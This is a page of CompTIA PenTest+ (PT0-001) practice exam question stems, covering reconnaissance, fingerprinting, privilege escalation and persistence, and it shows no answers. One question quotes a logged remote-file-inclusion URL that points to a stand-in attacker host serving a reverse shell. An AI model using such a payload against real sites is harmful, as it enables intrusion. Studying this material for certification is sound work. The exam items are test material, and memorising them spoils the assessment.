Comptia (PT0-001) Exam Questions And Answers page 20
Which of the following would BEST prevent fence jumping at a facility?
Planning and Scoping
Information Gathering and Vulnerability Identification
Which of the following would be the BEST for performing passive reconnaissance on a target s external domain?
Information Gathering and Vulnerability Identification
While conducting information gathering, a penetration tester is trying to identify Windows hosts. Which of the following characteristics would be BEST to use for fingerprinting?
Information Gathering and Vulnerability Identification
Attacks and Exploits
While monitoring WAF logs, a security analyst discovers a successful attack against the following URL:
https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php
Which of the following remediation steps should be taken to prevent this type of attack?
https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php
Which of the following remediation steps should be taken to prevent this type of attack?
Information Gathering and Vulnerability Identification
Attacks and Exploits
While performing privilege escalation on a Windows 7 workstation, a penetration tester identifies a service that imports a DLL by name rather than an absolute path. To exploit this vulnerability, which of the following criteria must be met?
Attacks and Exploits
Penetration Testing Tools
While presenting the results of a penetration test to a client's executive team, the Chief Information Security Officer (CISO) asks for remediation advice for a shared local administrator finding. The client is geographically dispersed, and centralized management is a key concern. Which of the following is the BEST remediation to suggest?
Attacks and Exploits
Penetration Testing Tools
While trying to maintain persistence on a Windows system with limited privileges, which of the following registry keys should the tester use?
Planning and Scoping
Attacks and Exploits
Comments